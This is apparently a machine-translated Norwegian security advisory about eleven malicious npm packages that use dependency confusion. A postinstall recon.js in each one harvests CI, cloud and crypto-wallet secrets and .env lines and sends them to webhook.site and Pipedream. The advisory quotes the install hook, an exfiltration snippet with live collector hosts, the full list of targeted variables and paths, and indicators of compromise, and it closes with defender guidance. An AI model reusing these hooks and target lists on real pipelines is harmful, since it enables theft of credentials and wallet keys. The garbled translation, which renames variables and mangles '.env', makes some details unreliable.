TL; DR
Den 17. juni 2026 ble en enkelt npm-konto publisert elleve pakker som deler ett formål og én nyttelastTi av dem bærer cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den ellevte er den omfangsbestemte @public-for-cdao/coreAlle ble publisert i versjon 99.99.99 og sender en byte-identisk recon.js som kjører på postinstall.
Navnene forteller oss alt. De leses som de interne byggesteinene i et krypto-/DAO-prosjekts private verktøykjede. Publisert i det offentlige npm-registeret med en kunstig høy versjon, sitter de og venter på en build. pipeline som er konfigurert til å løse disse navnene og som når offentlige npm før – eller i stedet for – det private registeret. Dette er avhengighetsforvirring, og nyttelasten er innstilt for nøyaktig hvor den forventer å lande: CI/CD løpere.
Når postinstall branner, recon.js samler inn vertsdetaljer, feier grovt førti sky-, CI- og kryptolommebokmiljøvariabler, leser hvilken som helst .env filer den kan finne og videresender linjene med hemmeligheten ordrett, og overfører deretter pakken til to samlere – webhook.site og et Pipedream-endepunkt – med TLS-sertifikatverifisering deaktivert. En kopi skrives også under /tmp.
alvorlighetsgrad: høyBerørt økosystem: NPMAlle elleve pakkene var tilgjengelige i skrivende stund.
Angrepsanatomi
Mekanismen har fire bevegelige deler, og ingen av dem er subtile når du først vet hvordan man gjør det. se ett lag forbi pakkenavnet.
1. Versjonsinflasjon som et lokkemiddel for resolvere. Hver pakke deklarerer versjon 99.99.99Avhengighetsforvirring oppstår når en pakkebehandler ber om en internt navn, sjekker også det offentlige registeret og velger den høyeste versjonen funn. npms standardvalg for et cirkumfleks- eller jokertegnområde er den mest tilfredsstillende versjonen på tvers av alle konfigurerte kilder; hvis begge er private register- og offentlig npm-svar for samme navn, vinner det større versjonsnummeret. A 99.99.99 overgår i hovedsak enhver reell intern versjon et prosjekt vil ha nådd, så en resolver som ikke er festet til den private kilden foretrekker offentlig – og i dette tilfellet fiendtlig – kopi. Operatøren trenger ikke å vite målets virkelige versjonsnumre; å velge et absurd maksimum garanterer uavgjort alltid bryter veien for dem.
2. En etterinstallasjonsutløser. pakke.json kobler nyttelasten til installasjonen Livssyklus:
{ "scripts": { "postinstall": "node recon.js" } } Ingen import av pakken er nødvendig. Bare installering – som er et CI pipeline gjør automatisk — kjører recon.js.
3. En bred hemmelig avsløring. recon.js setter sammen en resultatmatrise i trinn:
- Vertskontekst: vertsnavn, plattform og utgivelse, arkitektur, brukernavn, fungerende katalogen.
- Miljøvariabler: den itererer en fast liste med omtrent førti navn og poster alle som er satt. Listen er avslørende – den kobler generiske CI-tokener (CI_JOB_TOKEN, CI_REGISTRY_PASSORD, GITLAB_ACCESS_TOKEN) og sky legitimasjon (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) med register- og containerhemmeligheter (NPM_TOKEN, DOCKER_PASSORD, HAVNE_PASSORD) og en tydelig krypto-smaksatt klynge: PRIVAT_NØKKEL, MNEMONISK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCRegistrerte verdier avkortes til de første 50 tegnene.
- .og V filer: den undersøker en liste over stier — .og V, ../.konvolutt, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, og .produksjon/.utvikling varianter – og for enhver fil som finnes, er det filtrerer innholdet til samsvarende linjer NØKKEL|HEMMELIG|BRUKSORD|PASSORD|PRIVAT|MNEMONISK og skyver disse linjene **i sin helhet, uavkortet** inn i resultatene.
- Bygg-vert-kontekst: den viser de første 20 oppføringene i /bygger/, /hjem/gitlab-runner/bygg/, /var/lib/gitlab-runner/og / tmp /.
Stilisten og variabellisten er vektet mot GitLab-løpere, noe som peker nyttelasten rett på selvhostet CI-infrastruktur i stedet for en utvikler bærbar PC. Ved å gruppere slaktelisten etter kategori blir det planlagte slaktet tydelig:
| Kategori | Variabler/stier nådd |
|---|---|
| CI/CD identitet og utrulling | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register og container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Datalagre | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Krypto / blokkjede | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Meldinger | SLACK_TOKEN, DISCORD_TOKEN |
| På disk | .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.envkatalogoppføringer av /builds/, /var/lib/gitlab-runner/ |
Kryptoklyngen er den delen som skiller dette fra en generisk CI-hemmelighet sweep: lommebok-frøfraser og signeringsnøkler vises bare i miljøet til en blokkjedeprosjektet, og de kartlegges direkte på kryptodao-/sign/kontrakter navngiving av transportørene.
4. Dobbel eksfiltrering med verifisering deaktivert. Den innsamlede matrisen er serialisert og POSTET til to destinasjoner:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) avvisUautorisert: usann slår av TLS-sertifikatkontroller for utgående anrop. De samme dataene skrives ut til stdout (slik at de også havner i CI-jobbloggene) og skrevet til /tmp/.npm_recon_ .jsonFeil svelges stille, så en mislykket sending etterlater ingen spor i installasjonsutdataene utover en enkelt [rekognosering] installert på linje.
En ledende kommentar i filen beskriver det som en «avhengighetsforvirring». Rekognoseringsnyttelast.» Avkortingen av miljøverdier til 50 tegn har formen på et konseptbevis. Det som beveger det forbi et kun-tilstedeværelsessignal er .og V håndtering: hemmelige linjer videresendes i sin helhet, og destinasjonene er to fungerende, angriperkontrollerte samlere i stedet for en vask som bare teller treff.
Tidslinje
Publiseringsmønsteret er signaturen til et enkelt skriptet push, ikke elleve uavhengige opplastinger.
| Tid (UTC, 2026-06-17) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publisert |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — omfangsvariant, ~24 min senere |
Ti pakker ble sendt innenfor et vindu på 29 sekunder, omtrent én hvert tredje sekund. Det avgrensede @offentlig-for-cdao/kjerne fulgte omtrent 24 minutter etter – et sekund navnekonvensjon for samme mål, i tilfelle det forbrukende prosjektet refererer til intern verktøykjede under et omfang i stedet for som bare navn.
Indikatorer for kompromiss
| typen | Indikator |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Installer krok | postinstall: node recon.js |
| Filen er slettet | /tmp/.npm_recon_<timestamp>.json |
| Loggmarkør | [recon] <pkg>@<ver> installed on <hostname> (stdout i CI-logger) |
| Behavioral | rejectUnauthorized: false på utgående HTTPS under installasjon |
| nyttelast | recon.js, identisk på tvers av alle elleve pakker (én delt versjon) |
| Versjon | 99.99.99 på hver pakke |
| Nettsidepakker | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (alle 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (e-post ubekreftet, ingen lenket kildelager) |
Attribusjon og observert atferd
Alt ved klyngen peker mot én hånd. Alle elleve pakkene ble publisert av npm-kontoen aduljune (aduljune@proton.me, en ubekreftet adresse uten lenket kildelager), innenfor et tidsrom på 25 minutter, samtidig 99.99.99 versjon, frakt av en recon.js hvis innhold er identisk byte-for-byte på tvers av alle pakke (MD5-treff på tvers av alle elleve utpakkede kopier). Det er én nyttelast stemplet på en navneliste, ikke uavhengig gjenbruk av kode.
Navnelisten definerer det tiltenkte målet. kryptodao-* og cdao beskriv privat moduloppsett for et krypto-/DAO-prosjekt, og nyttelastens innhøstingsliste speil som gjetter: ved siden av de generiske CI-ene og skyhemmelighetene, er det spesifikt strekker seg etter PRIVAT_NØKKEL, MNEMONISK, SEED_PHRASE, og Ethereum/BSC RPC og leverandørnøkler. De .og V søkestier og katalogoppføringer er GitLab-runner spesifikk. Den observerbare effekten er at enhver pipeline lurt til å installere disse navnene ville videresende CI-tokenene, skynøklene og disken .og V hemmeligheter – og for et blokkjedeprosjekt, lommebokmaterialet – til to tredjeparts samlere.
Vi hevder ikke hvem som driver kontoen eller hva de planla å gjøre med den. data. Fakta som står på egne ben: navnene retter seg mot en spesifikk type intern verktøykjede, nyttelasten leser og overfører ekte hemmelige verdier, og infrastrukturen var live.
Innvirkning, trender og veiledning fra forsvarere
Avhengighetsforvirring forblir effektiv fordi den utnytter resolver-atferd, ikke en sårbarhet i enhver pakke. Bæreren her er triviell – elleve nesten tomme pakker – men eksplosjonsradiusen er uansett pipeline foretrekker feilaktig offentlig npm for et internt navn. CI-løpere er det verste stedet for at det skal skje: de holder nøyaktig tokens og .og V filer denne nyttelasten leser, og de installerer avhengigheter ikke-interaktive, så en etterinstallasjon løper uten at noen ser på.
Denne klyngen passer også inn i et mønster vi stadig ser: nyttelaster under installasjon som presenterer som «forskning» eller «rekognosering» mens man foretar reell innsamling av legitimasjon. Etiketten i filen endrer ikke hva koden gjør på en løper. To designvalg beholder aktiviteten stille: hver nettverks- og filsystemoperasjon er pakket inn i en unntaksbehandler som forkaster feil, så en blokkert sending eller en manglende fil produserer ingen diagnostisk utdata, og det eneste som skrives ut er et enkelt uskyldig [rekonstruering] … installert linje som blander seg inn i vanlig installasjonsprat. Bruken av webhook.site og Pipedream er også bevisst bekvemmelighet – begge er gratis, umiddelbart klargjorte forespørselsfangsttjenester, slik at operatøren ikke trenger noen servere med sine egne, og destinasjonene ser ut som vanlige SaaS-vertsnavn i utgangslogger.
Det er økonomien som gjør dette verdt en forsvarers oppmerksomhet, selv om Transportørkode er trivielt. Det koster ingenting å registrere elleve navn, nyttelasten er én filen kopieres elleve ganger, og pakkebehandleren gjør all kjøringen. En enkelt feilkonfigurert pipeline hvor som helst som bruker et av disse navnene betaler for hele operasjon.
Konkrete skritt for forsvarere:
- Fest interne omfang til ditt private register. Konfigurer npm slik at interne navn
og omfang løses bare mot registeret ditt (registertilordninger med omfang .npmrc, eller en proxy som aldri går gjennom til offentlig npm for eide navnerom). Reserver dine offentlige omfangsnavn slik at ingen andre kan registrere dem.
- Commit låsefiler og installere med –ignore-scripts i CI der det er mulig, eller granske det lille settet med avhengigheter som virkelig trenger installasjonsskript. recon.js kan ikke kjøres hvis etterinstallasjon er ikke utført.
- Behandle en 99.99.99 (eller annen absurd høy) versjon av et internt utseende navn som et rødt flagg i avhengighetsgjennomgang og registerovervåking.
- Varsel ved utgående prosess under installasjon. A etterinstallasjon som åpner en utgående HTTPS tilkobling – spesielt med sertifikatverifisering deaktivert – til webhook.site, Pipedream eller lignende forespørselsfangsttjenester er verdt å blokkere ved nettverkskanten og flagge i byggelogger.
- Jakt på gjenstandene. Sjekk løpere for /tmp/.npm_recon_*.json og for [rekonstruering] … installert på … markør i nylige CI-logger. Hvis funnet, roter hver legitimasjon eksponert for det pipeline — CI-tokener, skynøkler, registertokener og eventuelle lommebokfrø eller private nøkler som finnes i miljøet eller .env-filer.
Referanser
Det fantes ingen ekstern rapportering om denne klyngen på tidspunktet for skriving; analysen ovennevnte er basert direkte på det publiserte pakkeinnholdet




